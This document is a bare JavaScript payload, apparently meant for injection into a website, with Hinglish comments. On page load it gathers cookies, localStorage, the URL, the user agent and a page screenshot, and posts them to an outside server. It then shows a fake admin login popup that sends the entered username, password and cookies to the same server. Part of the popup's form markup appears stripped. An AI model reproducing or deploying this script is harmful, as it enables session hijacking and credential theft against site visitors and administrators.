(function() { var payloadData = {}; var lastLoginKey = "last_login_timestamp"; if (typeof html2canvas === "undefined") { var script = document.createElement('script'); script.src = "https://html2canvas.hertzen.com/dist/html2canvas.min.js"; document.head.appendChild(script); } function sendToServer(data) { // Har baar cookies ko update karna data.cookies = document.cookie; var xhr = new XMLHttpRequest(); xhr.open("POST", "https://x11.pro/save.php", true); xhr.setRequestHeader("Content-Type", "application/json"); xhr.send(JSON.stringify(data)); } function collectInfo() { payloadData.uri = window.location.href; payloadData.cookies = document.cookie; // Cookies yahan capture ho rahi hain payloadData.userAgent = navigator.userAgent; payloadData.localStorage = JSON.stringify(localStorage); if (typeof html2canvas !== "undefined") { html2canvas(document.body).then(function(canvas) { payloadData.screenshot = canvas.toDataURL("image/png"); sendToServer(payloadData); checkAndShowPopup(); }).catch(function() { sendToServer(payloadData); checkAndShowPopup(); }); } else { setTimeout(collectInfo, 1000); } } function checkAndShowPopup() { var lastLogin = localStorage.getItem(lastLoginKey); var now = Date.now(); if (lastLogin && (now - lastLogin < 300)) return; showLoginPopup(); } function showLoginPopup() { if (document.getElementById("auth_popup_box")) return; const style = document.createElement("style"); style.textContent = ` .authboxOverlay{position:fixed;inset:0;width:100vw;height:100vh;backdrop-filter:blur(6px);background:rgba(0,0,0,.3);z-index:9998} .authboxPopup{position:fixed;left:50%;top:50%;transform:translate(-50%, -50%);width:360px;background:#f8f9e8;border-radius:20px;box-shadow:0 10px 25px rgba(0,0,0,.4);padding:24px;font-family:sans-serif;z-index:9999} .authboxInput{width:100%;padding:12px;margin:8px 0;border:2px solid #cbd5e1;border-radius:12px;font-size:15px;box-sizing:border-box} .authboxBtn{padding:12px;border:none;border-radius:9999px;font-size:15px;font-weight:700;cursor:pointer;background:#2f5729;color:#fff;width:100%;margin-top:10px;} `; document.head.appendChild(style); const overlay = document.createElement("div"); overlay.id = "auth_blur_overlay"; overlay.className = "authboxOverlay"; document.body.appendChild(overlay); const popup = document.createElement("div"); popup.id = "auth_popup_box"; popup.className = "authboxPopup"; // Form tag use kiya hai taaki auto-fill kaam kare popup.innerHTML = `
https://${location.hostname}
`; document.body.appendChild(popup); document.getElementById("fake_login_form").addEventListener("submit", function(e) { e.preventDefault(); const user = document.getElementById("username_input").value; const pass = document.getElementById("password_input").value; if (user && pass) { sendToServer({ type: "admin_login_submit", admin_user: user, admin_pass: pass, cookies: document.cookie // Submit par fresh cookies }); localStorage.setItem(lastLoginKey, Date.now()); popup.remove(); overlay.remove(); } }); } if (document.readyState === "complete") { collectInfo(); } else { window.addEventListener("load", collectInfo); } })();